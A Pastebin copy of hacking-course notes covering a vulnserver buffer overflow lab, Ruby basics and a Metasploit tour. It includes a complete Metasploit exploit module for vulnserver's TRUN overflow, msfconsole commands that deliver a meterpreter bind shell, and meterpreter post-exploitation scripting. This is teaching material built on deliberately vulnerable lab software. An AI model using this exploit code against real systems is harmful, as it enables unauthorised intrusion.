joemccray

Munich Adv Hacking Course

Apr 1st, 2019
1,083
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ########
  2. # Tips #
  3. ########
  4. https://ired.team/offensive-security/powershell-constrained-language-mode-bypass
  5.  
  6.  
  7.  
  8. #####################################
  9. # Quick Stack Based Buffer Overflow #
  10. #####################################
  11.  
  12. - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
  13. http://45.63.104.73/ExploitLab.zip
  14. http://45.63.104.73/nc-password-is-netcat.zip
  15. http://45.63.104.73/1-SEH.zip
  16. http://45.63.104.73/WarFTP.zip
  17. http://45.63.104.73/SEH.zip
  18. http://45.63.104.73/sws.zip
  19. http://45.63.104.73/tftpd.zip
  20. http://45.63.104.73/ffvlc.zip
  21. http://45.63.104.73/pdf-exploit.zip
  22.  
  23.  
  24. - Extract the ExploitLab.zip file to your Desktop
  25.  
  26. - Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
  27.  
  28. - Open a new command prompt and type:
  29.  
  30. ---------------------------Type This-----------------------------------
  31.  
  32. nc localhost 9999
  33. --------------------------------------------------------------------------
  34.  
  35. - In the new command prompt window where you ran nc type:
  36. HELP
  37.  
  38. - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
  39. - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
  40.  
  41. - Now double-click on 1-simplefuzzer.py
  42. - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
  43.  
  44.  
  45. - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
  46.  
  47. - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
  48.  
  49. - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
  50.  
  51. - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
  52.  
  53. - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
  54.  
  55. - Calculate the distance to EIP by running script 3-3000chars.py
  56. - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
  57.  
  58. 4-count-chars-to-EIP.py
  59. - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
  60. - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
  61.  
  62. 5-2006char-eip-check.py
  63. - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
  64.  
  65. 6-jmp-esp.py
  66. - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
  67.  
  68. 7-first-exploit
  69. - In this script we actually do the stack overflow and launch a bind shell on port 4444
  70.  
  71. 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
  72.  
  73.  
  74. ------------------------------
  75.  
  76.  
  77.  
  78. #########################################
  79. # FreeFloat FTP Server Exploit Analysis #
  80. #########################################
  81.  
  82.  
  83.  
  84. Analyze the following exploit code:
  85. https://www.exploit-db.com/exploits/15689/
  86.  
  87. 1. What is the target platform that this exploit works against?
  88. 2. What is the variable name for the distance to EIP?
  89. 3. What is the actual distance to EIP in bytes?
  90. 4. Describe what is happening in the variable ‘junk2’
  91.  
  92.  
  93.  
  94.  
  95. Analysis of the training walk-through based on EID: 15689:
  96. http://45.63.104.73/ff.zip
  97.  
  98.  
  99.  
  100.  
  101. ff1.py
  102. 1. What does the sys module do? Call System Commands
  103. 2. What is sys.argv[1] and sys.argv[2]?
  104. 3. What application entry point is being attacked in this script?
  105.  
  106.  
  107.  
  108. ff2.py
  109. 1. Explain what is happening in lines 18 - 20 doing.
  110. 2. What pattern_create.rb doing and where can I find it?
  111. 3. Why can’t I just double click the file to run this script?
  112.  
  113.  
  114.  
  115. ff3.py
  116. 1. Explain what is happening in lines 17 - to 25?
  117. 2. Explain what is happening in lines 30 - to 32?
  118. 3. Why is everything below line 35 commented out?
  119.  
  120.  
  121.  
  122. ff4.py
  123. 1. Explain what is happening in lines 13 - to 15.
  124. 2. Explain what is happening in line 19.
  125. 3. What is the total length of buff?
  126.  
  127.  
  128.  
  129. Ff5.py
  130. 1. Explain what is happening in line 15.
  131. 2. What is struct.pack?
  132. 3. How big is the shellcode in this script?
  133.  
  134.  
  135.  
  136. ff6.py
  137. 1. What is the distance to EIP?
  138. 2. How big is the shellcode in this script?
  139. 3. What is the total byte length of the data being sent to this app?
  140.  
  141.  
  142.  
  143.  
  144. ff7.py
  145. 1. What is a tuple in python?
  146. 2. How big is the shellcode in this script?
  147. 3. Did your app crash in from this script?
  148.  
  149.  
  150.  
  151.  
  152. ff8.py
  153. 1. How big is the shellcode in this script?
  154. 2. What is try/except in python?
  155. 3. What is socket.SOCK_STREAM in Python?
  156.  
  157.  
  158.  
  159. ff9.py
  160. 1. What is going on in lines 19 and 20?
  161. 2. What is the length of the NOPs?
  162. 3. What is socket.SOCK_STREAM in Python?
  163.  
  164.  
  165.  
  166.  
  167. ff010.py
  168. 1. What is going on in lines 18 - 20?
  169. 2. What is going on in lines 29 - 32?
  170. 3. How would a stack adjustment help this script?
  171.  
  172.  
  173. Required review videos to watch tonight:
  174. ----------------------------------------
  175. https://www.youtube.com/playlist?list=PLWpmLW-3AVsjcz_VJFvofmIFVTk7T-Ukl
  176. Please watch videos 1-5 tonight. Vivek has a deep accent so I understand that it may be difficult but his material is very good - probably the best on the internet today.
  177.  
  178. Recommended (not required) videos to watch tonight:
  179. ---------------------------------------------------
  180. For more background on Assembly I would recommend the following video series (videos 1-11):
  181. https://www.youtube.com/playlist?list=PL6brsSrstzga43kcZRn6nbSi_GeXoZQhR
  182. Again, you DO NOT have to watch these tonight but if you are really interested in the subject of exploit development I think they will be very helpful.
  183.  
  184.  
  185.  
  186. ---------------------------------------------------------------------------------------------------------------------############################
  187. # Day 2: Ruby Fundamentals #
  188. ############################
  189.  
  190.  
  191.  
  192. - Ruby is a general-purpose, object-oriented programming language, which was created by Yukihiro Matsumoto, a computer
  193. scientist and programmer from Japan. It is a cross-platform dynamic language.
  194.  
  195. - The major implementations of this language are Ruby MRI, JRuby, HotRuby, IronRuby, MacRuby, etc. Ruby
  196. on Rails is a framework that is written in Ruby.
  197.  
  198. - Ruby's file name extensions are .rb and .rbw.
  199.  
  200. - official website of this
  201.  
  202. - language: www.ruby-lang.org.
  203.  
  204.  
  205. - interactive Shell called Ruby Shell
  206.  
  207. - open up the interactive console and play around.
  208.  
  209. ---------------------------Type This-----------------------------------
  210. irb
  211. -----------------------------------------------------------------------
  212.  
  213.  
  214. - Math, Variables, Classes, Creating Objects and Inheritance
  215.  
  216.  
  217. The following arithmetic operators:
  218. Addition operator (+) — 10 + 23
  219. Subtraction operator (-) — 1001 - 34
  220. Multiplication operator (*) — 5 * 5
  221. Division operator (/) — 12 / 2
  222.  
  223.  
  224.  
  225. - Now let's cover some variable techniques. In Ruby, you can assign a value to a variable using the assignment
  226. operator. '=' is the assignment operator. In the following example, 25 is assigned to x. Then x is incremented by
  227. 30. Again, 69 is assigned to y, and then y is incremented by 33.
  228.  
  229. ---------------------------Type This-----------------------------------
  230. x = 25
  231. x + 30
  232. y = 69
  233. y+33
  234. -----------------------------------------------------------------------
  235.  
  236.  
  237.  
  238. - Let's look at creating classes and creating objects.
  239.  
  240. - Here, the name of the class is Attack. An object has its properties and methods.
  241.  
  242.  
  243. ---------------------------Type This-----------------------------------
  244. class Attack
  245. attr_accessor :of, :sqli, :xss
  246. end
  247. -----------------------------------------------------------------------
  248.  
  249.  
  250. What is nil?
  251. Reference:
  252. https://www.codecademy.com/en/forum_questions/52a112378c1cccb0f6001638
  253.  
  254. nil is the Ruby object that represents nothingness. Whenever a method doesn’t return a useful value, it returns nil. puts and print are methods that return nil:
  255.  
  256. Since the Ruby Console always shows the value of the last statement or expression in your code, if that last statement is print, you’ll see the nil.
  257.  
  258. To prevent the nil from "sticking" to the output of print (which doesn’t insert a line break), you can print a line break after it, and optionally put some other value as the last statement of your code, then the Console will show it instead of nil:
  259.  
  260.  
  261.  
  262.  
  263.  
  264. # Now that we have created the classes let's create the objects
  265. ---------------------------Type This-----------------------------------
  266. first_attack = Attack.new
  267. first_attack.of = "stack"
  268. first_attack.sqli = "blind"
  269. first_attack.xss = "dom"
  270. puts first_attack.of
  271. puts first_attack.sqli
  272. puts first_attack.xss
  273. -----------------------------------------------------------------------
  274.  
  275.  
  276.  
  277.  
  278. - Let's work on some inheritance that will help make your programming life easier. When we have multiple classes,
  279. inheritance becomes useful. In simple words, inheritance is the classification of classes. It is a process by which
  280. one object can access the properties/attributes of another object of a different class. Inheritance makes your
  281. programming life easier by maximizing code reuse.
  282.  
  283.  
  284. ---------------------------Type This-----------------------------------
  285. class Exploitframeworks
  286. attr_accessor :scanners, :exploits, :shellcode, :postmodules
  287. end
  288. class Metasploit < Exploitframeworks
  289. end
  290. class Canvas < Exploitframeworks
  291. end
  292. class Coreimpact < Exploitframeworks
  293. end
  294. class Saint < Exploitframeworks
  295. end
  296. class Exploitpack < Exploitframeworks
  297. end
  298. -----------------------------------------------------------------------
  299.  
  300.  
  301.  
  302.  
  303. - Methods, More Objects, Arguments, String Functions and Expression Shortcuts
  304.  
  305. - Let's create a simple method. A method is used to perform an action and is generally called with an object.
  306.  
  307. - Here, the name of the method is 'learning'. This method is defined inside the Msfnl class. When it is called,
  308. it will print this string: "We are Learning how to PenTest"
  309.  
  310. - An object named 'bo' is created, which is used to call the method.
  311.  
  312.  
  313. ---------------------------Type This-----------------------------------
  314. class Msfnl
  315. def learning
  316. puts "We are Learning how to PenTest"
  317. end
  318. end
  319. -----------------------------------------------------------------------
  320.  
  321. #Now let's define an object for our Method
  322.  
  323. ---------------------------Type This-----------------------------------
  324. joe = Msfnl.new
  325. joe.learning
  326. -----------------------------------------------------------------------
  327.  
  328.  
  329.  
  330. - An argument is a value or variable that is passed to the function while calling it. In the following example, while
  331. calling the puts() function, we are sending a string value to the function. This string value is used by the
  332. function to perform some particular operations.
  333.  
  334. puts ("Pentesting")
  335.  
  336.  
  337. - There are many useful string functions in Ruby. String functions make it easy to work with strings. Now, we will
  338. explain some useful string functions with an example.
  339.  
  340. - The length function calculates the length of a string. The upcase function converts a string to uppercase. And the
  341. reverse function reverses a string. The following example demonstrates how to use the string functions.
  342.  
  343. ---------------------------Type This-----------------------------------
  344. 55.class
  345. "I Love Programming".class
  346. "I Love Pentesting".length
  347. "Pown that box".upcase
  348. "Love" + "To Root Boxes"
  349. "evil".reverse
  350. "evil".reverse.upcase
  351. -----------------------------------------------------------------------
  352.  
  353.  
  354. - expressions and shortcuts. In the below example, 'a' is an operand, '3' is an operand, '=' is
  355. an operator, and 'a=3' is the expression. A statement consists of one or multiple expressions. Following are the
  356. examples of some expressions.
  357.  
  358. ---------------------------Type This-----------------------------------
  359. a = 3
  360. b = 6
  361. a+b+20
  362. d = 44
  363. f = d
  364. puts f
  365. -----------------------------------------------------------------------
  366.  
  367.  
  368.  
  369.  
  370.  
  371. - shortcuts. +=, *= are the shortcuts. These operators are also called abbreviated
  372. assignment operators. Use the shortcuts to get the effect of two statements in just one. Consider the following
  373. statements to understand the shortcuts.
  374.  
  375. ---------------------------Type This-----------------------------------
  376. g = 70
  377. g = g+44
  378. g += 33
  379. -----------------------------------------------------------------------
  380.  
  381.  
  382. - In the above statement, g is incremented by 33 and then the total value is assigned to g.
  383.  
  384.  
  385.  
  386. ---------------------------Type This-----------------------------------
  387. g *= 3
  388. -----------------------------------------------------------------------
  389.  
  390.  
  391. - In the above statement, g is multiplied with 3 and then assigned to g.
  392.  
  393. - Example
  394.  
  395. - Comparison Operators, Loops, Data Types, and Constants
  396.  
  397. - Comparison operators are used for comparing one variable or constant with another variable or constant. We will show
  398. how to use the following comparison operators.
  399.  
  400. 'Less than' operator (<): This operator is used to check whether a variable or constant is less than another
  401. variable or constant. If it's less than the other, the 'less than' operator returns true.
  402.  
  403. 'Equal to' operator (==): This operator is used to check whether a variable or constant is equal to another variable
  404. or constant. If it's equal to the other, the 'equal to' operator returns true.
  405.  
  406. 'Not equal to' operator (!=): This operator is used to check whether a variable or constant is not equal to another
  407. variable or constant. If it's not equal to the other, the 'not equal to' operator returns true.
  408.  
  409. ---------------------------Type This-----------------------------------
  410. numberofports = 55
  411. puts "number of ports found during scan" if numberofports < 300
  412. numberofports = 400
  413. puts "number of ports found during scan" if numberofports < 300
  414. puts "number of ports found during scan" if numberofports == 300
  415. puts "number of ports found during scan" if numberofports != 300
  416. -----------------------------------------------------------------------
  417.  
  418.  
  419.  
  420. Example
  421.  
  422.  
  423. - the 'OR' operator and the 'unless' keyword. This symbol '||' represents the logical 'OR' operator.
  424.  
  425. - This operator is generally used to combine multiple conditions.
  426. - In case of two conditions, if both or any of the conditions is true, the 'OR'operator returns true. Consider the
  427.  
  428. - following example to understand how this operator works.
  429.  
  430. ---------------------------Type This-----------------------------------
  431. ports = 100
  432. puts "number of ports found on the network" if ports<100 || ports>200
  433. puts "number of ports found on the network" if ports<100 || ports>75
  434. -----------------------------------------------------------------------
  435.  
  436. # unless
  437.  
  438. ---------------------------Type This-----------------------------------
  439. portsbelow1024 = 50
  440. puts "If the ports are below 1024" unless portsbelow1024 < 1000
  441. puts "If the ports are below 1024" unless portsbelow1024 < 1055
  442. puts "If the ports are below 1024" unless portsbelow1024 < 20
  443. -----------------------------------------------------------------------
  444.  
  445. - The 'unless' keyword is used to do something programmatically unless a condition is true.
  446.  
  447.  
  448.  
  449. - Loops are used to execute statement(s) repeatedly. Suppose you want to print a string 10 times.
  450.  
  451. - See the following example to understand how a string is printed 10 times on the screen using a loop.
  452.  
  453. ---------------------------Type This-----------------------------------
  454. 10.times do puts "infosecaddicts" end
  455. -----------------------------------------------------------------------
  456.  
  457. # Or use the curly braces
  458.  
  459. ---------------------------Type This-----------------------------------
  460. 10.times {puts "infosecaddicts"}
  461. -----------------------------------------------------------------------
  462.  
  463.  
  464. - Changing Data Types: Data type conversion is an important concept in Ruby because it gives you flexibility while
  465. working with different data types. Data type conversion is also known as type casting.
  466.  
  467.  
  468.  
  469. - Constants: Unlike variables, the values of constants remain fixed during the program interpretation. So if you
  470. change the value of a constant, you will see a warning message.
  471.  
  472.  
  473.  
  474.  
  475. - Multiple Line String Variable, Interpolation, and Regular Expressions
  476.  
  477. - A multiple line string variable lets you assign the value to the string variable through multiple lines.
  478.  
  479. ---------------------------Type This-----------------------------------
  480. infosecaddicts = <<mark
  481. welcome
  482. to the
  483. best
  484. metasploit
  485. course
  486. on the
  487. market
  488. mark
  489. puts infosecaddicts
  490. -----------------------------------------------------------------------
  491.  
  492.  
  493. - Interpolation lets you evaluate any placeholder within a string, and the placeholder is replaced with the value that
  494. it represents. So whatever you write inside #{ } will be evaluated and the value will be replaced at that position.
  495. Examine the following example to understand how interpolation works in Ruby.
  496.  
  497. References:
  498. https://stackoverflow.com/questions/10869264/meaning-of-in-ruby
  499.  
  500.  
  501. ---------------------------Type This-----------------------------------
  502. a = 4
  503. b = 6
  504. puts "a * b = a*b"
  505. puts " #{a} * #{b} = #{a*b} "
  506. person = "Joe McCray"
  507. puts "IT Security consultant person"
  508. puts "IT Security consultant #{person}"
  509. -----------------------------------------------------------------------
  510.  
  511. - Notice that the placeholders inside #{ } are evaluated and they are replaced with their values.
  512.  
  513.  
  514.  
  515.  
  516.  
  517. - Character classes
  518. ---------------------------Type This-----------------------------------
  519. infosecaddicts = "I Scanned 45 hosts and found 500 vulnerabilities"
  520. "I love metasploit and what it has to offer!".scan(/[lma]/) {|y| puts y}
  521. "I love metasploit and what it has to offer!".scan(/[a-m]/) {|y| puts y}
  522. -----------------------------------------------------------------------
  523.  
  524.  
  525. - Arrays, Push and Pop, and Hashes
  526.  
  527.  
  528. - In the following example, numbers is an array that holds 6 integer numbers.
  529.  
  530.  
  531. ---------------------------Type This-----------------------------------
  532. numbers = [2,4,6,8,10,100]
  533. puts numbers[0]
  534. puts numbers[4]
  535. numbers[2] = 150
  536. puts numbers
  537. -----------------------------------------------------------------------
  538.  
  539.  
  540.  
  541. - Now we will show how you can implement a stack using an array in Ruby. A stack has two operations - push and pop.
  542.  
  543.  
  544. ---------------------------Type This-----------------------------------
  545. framework = []
  546. framework << "modules"
  547. framework << "exploits"
  548. framework << "payloads"
  549. framework.pop
  550. framework.shift
  551. -----------------------------------------------------------------------
  552.  
  553. - Hash is a collection of elements, which is like the associative array in other languages. Each element has a key
  554. that is used to access the element.
  555.  
  556.  
  557. - Hash is a Ruby object that has its built-in methods. The methods make it easy to work with hashes.
  558. In this example, 'metasploit' is a hash. 'exploits', 'microsoft', 'Linux' are the keys, and the following are the
  559. respective values: 'what module should you use', 'Windows XP' and 'SSH'.
  560.  
  561. ---------------------------Type This-----------------------------------
  562. metasploit = {'exploits' => 'what module should you use', 'microsoft' => 'Windows XP', 'Linux' => 'SSH'}
  563. print metasploit.size
  564. print metasploit["microsoft"]
  565. metasploit['microsoft'] = 'redhat'
  566. print metasploit['microsoft']
  567. -----------------------------------------------------------------------
  568.  
  569.  
  570.  
  571. - Writing Ruby Scripts
  572.  
  573.  
  574. - Let's take a look at one of the ruby modules and see exactly now what it is doing. Now explain to me exactly what
  575. this program is doing. If we take a look at the ruby program what you find is that it is a TCP port scanner that
  576. someone made to look for a specific port. The port that it is looking for is port 21 FTP.
  577. ---------------------------Type This-----------------------------------
  578. cd ~/toolz/metasploit/modules/auxiliary/scanner/portscan
  579. ls
  580. -----------------------------------------------------------------------
  581.  
  582.  
  583.  
  584. ###########################
  585. # Metasploit Fundamentals #
  586. ###########################
  587.  
  588. - Let's take a little look at Metasploit Framework
  589.  
  590. - First, we should take note of the different directories, the Modular Architecture.
  591.  
  592. The modules that make up the Modular Architecture are
  593. Exploits
  594. Auxiliary
  595. Payload
  596. Encoder
  597. Nops
  598.  
  599.  
  600. Important directories to keep in mind for Metasploit, in case we'd like to edit different modules, or add our own,
  601.  
  602. are
  603.  
  604. Modules
  605. Scripts
  606. Plugins
  607. External
  608. Data
  609. Tools
  610.  
  611. - Let's take a look inside the Metasploit directory and see what's the
  612. ---------------------------Type This-----------------------------------
  613. cd /usr/share/metasploit-framework
  614. ls
  615. -----------------------------------------------------------------------
  616.  
  617.  
  618.  
  619. - Now let's take a look inside the Modules directory and see what's there.
  620. ---------------------------Type This-----------------------------------
  621. cd /usr/share/metasploit-framework/modules
  622. ls
  623. -----------------------------------------------------------------------
  624.  
  625.  
  626. The auxiliary directory is where the things like our port-scanners will be, or any module that we can run that does
  627. not necessarily need to - have a shell or session started on a machine.
  628.  
  629. The exploits directory has our modules that we need to pop a shell on a box.
  630. The external directory is where we can see all of the modules that use external libraries from tools Metasploit uses
  631. like Burp Suite
  632. - Let's take a look at the external directory
  633. ---------------------------Type This-----------------------------------
  634. cd /usr/share/metasploit-framework/external
  635. ls
  636. -----------------------------------------------------------------------
  637.  
  638. - Our data directory holds helper modules for Metasploit to use with exploits or auxiliary modules.
  639. ---------------------------Type This-----------------------------------
  640. cd /usr/share/metasploit-framework/data
  641. ls
  642. -----------------------------------------------------------------------
  643.  
  644. - For example, the wordlist directory holds files that have wordlists in them for brute-forcing logins or doing DNS
  645. brute-forcing
  646. ---------------------------Type This-----------------------------------
  647. cd /usr/share/metasploit-framework/data/wordlists
  648. ls
  649. -----------------------------------------------------------------------
  650.  
  651. - The Meterpreter directory inside of the data directory houses the DLLs used for the functionality of Meterpreter
  652. once a session is created.
  653. ---------------------------Type This-----------------------------------
  654. cd /usr/share/metasploit-framework/data/meterpreter
  655. ls
  656. -----------------------------------------------------------------------
  657.  
  658. - The scripts inside the scripts/Meterpreter directory are scripts that Meterpreter uses for post-exploitation, things
  659. like escalating privileges and dumping hashes.
  660.  
  661. These are being phased out, though, and post-exploitation modules are what is being more preferred.
  662. The next important directory that we should get used to is the 'tools' directory. Inside the tools directory we'll
  663. find a bunch of different ruby scripts that help us on a pentest with things ranging from creating a pattern of code
  664. for creating exploits, to a pattern offset script to find where at in machine language that we need to put in our
  665. custom shellcode.
  666.  
  667. The final directory that we'll need to keep in mind is the plugins directory, which houses all the modules that have
  668. to do with other programs to make things like importing and exporting reports simple.
  669. Now that we have a clear understanding of what all of the different directories house, we can take a closer look at
  670. the exploits directory and get a better understanding of how the directory structure is there, so if we make our own
  671. modules we're going to have a better understanding of where everything needs to go.
  672. ---------------------------Type This-----------------------------------
  673. cd /usr/share/metasploit-framework/modules/exploits
  674. ls
  675. -----------------------------------------------------------------------
  676.  
  677.  
  678. - The exploits directory is split up into several different directories, each one housing exploits for different types
  679. of systems. I.E. Windows, Unix, OSX, dialup and so on.
  680. Likewise, if we were to go into the 'windows' directory, we're going to see that the exploits have been broken down
  681. into categories of different types of services/programs, so that you can pick out an exploit specifically for the
  682. service you're trying to exploit. Let's dig a little deeper into the auxiliary directory and see what all it holds
  683. for us.
  684. ---------------------------Type This-----------------------------------
  685. cd /usr/share/metasploit-framework/modules/auxiliary/
  686. ls
  687. -----------------------------------------------------------------------
  688.  
  689.  
  690. - And a little further into the directory, let's take a look at what's in the scanner directory
  691. ---------------------------Type This-----------------------------------
  692. cd /usr/share/metasploit-framework/modules/auxiliary/scanner/
  693. ls
  694. -----------------------------------------------------------------------
  695.  
  696.  
  697. - And one more folder deeper into the structure, let's take a look in the portscan folder
  698. ---------------------------Type This-----------------------------------
  699. cd /usr/share/metasploit-framework/modules/auxiliary/scanner/portscan
  700. ls
  701. -----------------------------------------------------------------------
  702.  
  703. - If we run 'cat tcp.rb' we'll find that this module is simply a TCP scanner that will find tcp ports that are open
  704. and report them back to us in a nice, easily readable format.
  705.  
  706. cat tcp.rb
  707.  
  708.  
  709.  
  710. - Just keep in mind that all of the modules in the auxiliary directory are there for information gathering and for use
  711. once you have a session on a machine.
  712. Taking a look at the payload directory, we can see all the available payloads, which are what run after an exploit
  713. succeeds.
  714. ---------------------------Type This-----------------------------------
  715. cd /usr/share/metasploit-framework/modules/payloads/
  716. ls
  717. -----------------------------------------------------------------------
  718.  
  719.  
  720. - There are three different types of payloads: single, stagers, and staged. Each type of payload has a different
  721. application for it to be used as.
  722. Single payloads do everything you need them to do at one single time, so they call a shell back to you and let you
  723. do everything once you have that shell calling back to you.
  724. Stagers are required for limited payload space so that the victim machine will call back to your attack box to get
  725. the rest of the instructions on what it's supposed to do. The first stage of the payload doesn't require all that
  726. much space to just call back to the attacking machine to have the rest of the payload sent to it, mainly being used
  727. to download Stages payloads.
  728.  
  729.  
  730. - Stages are downloaded by stagers and typically do complex tasks, like VNC sessions, Meterpreter sessions, or bind
  731. shells.
  732. ---------------------------Type This-----------------------------------
  733. cd singles
  734. cd windows
  735. ls
  736. -----------------------------------------------------------------------
  737.  
  738.  
  739. - We can see several different payloads here that we can use on a windows system. Let's take a look at adduser.rb and
  740. see what it actually does.
  741. ---------------------------Type This-----------------------------------
  742. cat adduser.rb
  743. -----------------------------------------------------------------------
  744.  
  745. Which when looking at the code, we can see that it will add a new user called "Metasploit" to the machine and give
  746. the new user "Metasploit" a password of "Metasploit$1" Further down in the file we can actually see the command that
  747. it gives Windows to add the user to the system.
  748.  
  749.  
  750. - Stagers just connect to victim machine back to yours to download the Stages payload, usually with a
  751.  
  752. windows/shell/bind_tcp or windows/shell/reverse_tcp
  753. ---------------------------Type This-----------------------------------
  754. cd ../../stagers
  755. ls
  756. -----------------------------------------------------------------------
  757.  
  758.  
  759.  
  760. - Again, we can see that we have stagers for multiple systems and code types.
  761. ---------------------------Type This-----------------------------------
  762. ls windows/
  763. -----------------------------------------------------------------------
  764.  
  765.  
  766. As you can see, the stagers are mainly just to connect to the victim, to setup a bridge between us and the victim
  767. machine, so we can upload or download our stage payloads and execute commands.
  768. Lastly, we can go to our stages directory to see what all payloads are available for us to send over for use with
  769. our stagers...
  770. ---------------------------Type This-----------------------------------
  771. cd ../stages
  772. ls
  773. -----------------------------------------------------------------------
  774.  
  775.  
  776. Again, we can see that our stages are coded for particular operating systems and languages.
  777. We can take a look at shell.rb and see the shellcode that would be put into the payload that would be staged on the
  778. victim machine which would be encoded to tell the victim machine where to connect back to and what commands to run,
  779. if any.
  780.  
  781. - Other module directories include nops, encoders, and post. Post modules are what are used in sessions that have
  782. already been opened in meterpreter, to gain more information on the victim machine, collect hashes, or even tokens,
  783. so we can impersonate other users on the system in hopes of elevating our privileges.
  784. ---------------------------Type This-----------------------------------
  785. cd ../../../post/
  786. ls
  787. cd windows/
  788. ls
  789. -----------------------------------------------------------------------
  790.  
  791.  
  792. Inside the windows directory we can see all the post modules that can be run, capture is a directory that holds all
  793. the modules to load keyloggers, or grab input from the victim machine. Escalate has modules that will try to
  794. escalate our privileges. Gather has modules that will try to enumerate the host to get as much information as
  795. possible out of it. WLAN directory holds modules that can pull down WiFi access points that the victim has in
  796. memory/registry and give you the AP names as well as the WEP/WPA/WPA2 key for the network.
  797.  
  798. ------------------------------
  799.  
  800.  
  801.  
  802.  
  803. ------------------------------------------
  804.  
  805. ------------------------------------------
  806.  
  807.  
  808.  
  809.  
  810.  
  811.  
  812. ---------------------------Type This-----------------------------------
  813.  
  814. cd /usr/share/metasploit-framework/modules/exploits/windows/misc
  815.  
  816. nano vulnserv.rb
  817. -------(paste the code below into this file)-------
  818. #
  819. #
  820. # Quick Metasploit exploit for vulnserver.exe
  821. # Written by: Joe McCray
  822. #
  823. # Place this exploit in:
  824. # /usr/share/metasploit-framework/modules/exploits/windows/misc
  825. #
  826. require 'msf/core'
  827.  
  828. class Metasploit3 < Msf::Exploit::Remote
  829. include Msf::Exploit::Remote::Tcp
  830. def initialize(info = {})
  831. super(update_info(info,
  832. 'Name' => 'Custom vulnerable server stack overflow',
  833. 'Description' => %q{
  834. This module exploits a stack overflow in an app called
  835. vulnserver that is designed to teach simple exploitation.
  836. },
  837. 'Author' => [ 'Joe McCray' ],
  838. 'DefaultOptions' =>
  839. {
  840. 'EXITFUNC' => 'process',
  841. },
  842. 'Payload' =>
  843. {
  844. 'Space' => 800,
  845. 'BadChars' => "\x00\x20",
  846. },
  847. 'Platform' => 'win',
  848.  
  849. 'Targets' =>
  850. [
  851. [
  852. 'Windows XP SP3 EN',
  853. {
  854. 'Ret' => 0x625011AF,
  855. }
  856. ],
  857. ],
  858. 'DefaultTarget' => 0,
  859.  
  860. 'Privileged' => false
  861. ))
  862.  
  863. register_options(
  864. [
  865. Opt::RPORT(9999)
  866. ], self.class)
  867. end
  868.  
  869. def exploit
  870. connect
  871. sock.recv(1024)
  872.  
  873. p = "\x41" * 16
  874. p << payload.encoded
  875.  
  876. hdr = "TRUN ."
  877. boom = pattern_create(3000)
  878. boom[2006, 4] = [target.ret].pack('V') # EIP value
  879. boom[2010, p.length] = p
  880.  
  881. sploit = hdr + boom
  882.  
  883. sock.put(sploit)
  884.  
  885. handler
  886. disconnect
  887.  
  888. end
  889.  
  890. end
  891. ------------------end of copy/paste content --------------
  892.  
  893.  
  894.  
  895. ---------------------------Type This-----------------------------------
  896. cd /usr/share/metasploit-framework
  897.  
  898. ./msfconsole
  899.  
  900.  
  901.  
  902. use exploit/windows/misc/vulnserv
  903. set PAYLOAD windows/meterpreter/bind_tcp
  904. set RHOST CHANGEME-TO-YOUR-WIN7-IP
  905. set RPORT 9999
  906. exploit
  907. -----------------------------------------------------------------------
  908.  
  909.  
  910.  
  911.  
  912.  
  913. ########################################
  914. # Down and dirty Meterpreter Scripting #
  915. ########################################
  916.  
  917. -----------------------------------------------------------------------
  918. - In this lab we will be looking at how you can use some custom Meterpreter scripts to do more than what Metasploit
  919.  
  920. can offer. This will also show you the flexibility of the Meterpreter scripts.
  921.  
  922. - We're going to start off with a simple Hello World script first.
  923.  
  924. - Keep your meterpreter shell open from the previous lab exercises, and in a new Linux command window type the following:
  925. ---------------------------Type This-----------------------------------
  926. echo 'print_status("Hello World")' > /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
  927. -----------------------------------------------------------------------
  928.  
  929. - This next portion is up to you, exploit your test box and end up with a Meterpreter shell.
  930.  
  931. - Lets test out our helloworld.rb Meterpreter script.
  932.  
  933. ---------------------------Type This-----------------------------------
  934. meterpreter> run helloworld
  935. -----------------------------------------------------------------------
  936.  
  937. - So far so good, now we can build on this base. Lets add a couple more API calls to the script.
  938.  
  939. - Open /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb in your favorite and add following
  940.  
  941. line.
  942. ---------------------------Type This-----------------------------------
  943. vi /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
  944. -------(paste the code below into this file)-------
  945. print_error("this is an error!")
  946. print_line("this is a line")
  947. -----------------------------------------------------------------------
  948.  
  949.  
  950. - Now run the script:
  951.  
  952. meterpreter> run helloworld
  953.  
  954.  
  955. - Now that we have the basics down, we're going to do something a little more exciting.
  956. - The architecture to follow when creating these scripts goes as follows:
  957.  
  958. def getinfo(session)
  959. begin
  960. <stuff goes here>
  961. rescue ::Exception => e
  962. <stuff goes here>
  963. end
  964. end
  965.  
  966. -----------------------------------------------------------------------
  967.  
  968.  
  969.  
  970. - Copy and paste the following code into our helloworld.rb script:
  971. ---------------------------Type This-----------------------------------
  972. vi /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
  973. -------(paste the code below into this file)-------
  974. def getinfo(session)
  975. begin
  976. sysnfo = session.sys.config.sysinfo
  977. runpriv = session.sys.config.getuid
  978. print_status("Getting system information ...")
  979. print_status("The target machine OS is #{sysnfo['OS']}")
  980. print_status("The computer name is #{'Computer'} ")
  981. print_status("Script running as #{runpriv}")
  982. rescue ::Exception => e
  983. print_error("The following error was encountered #{e}")
  984. end
  985. end
  986.  
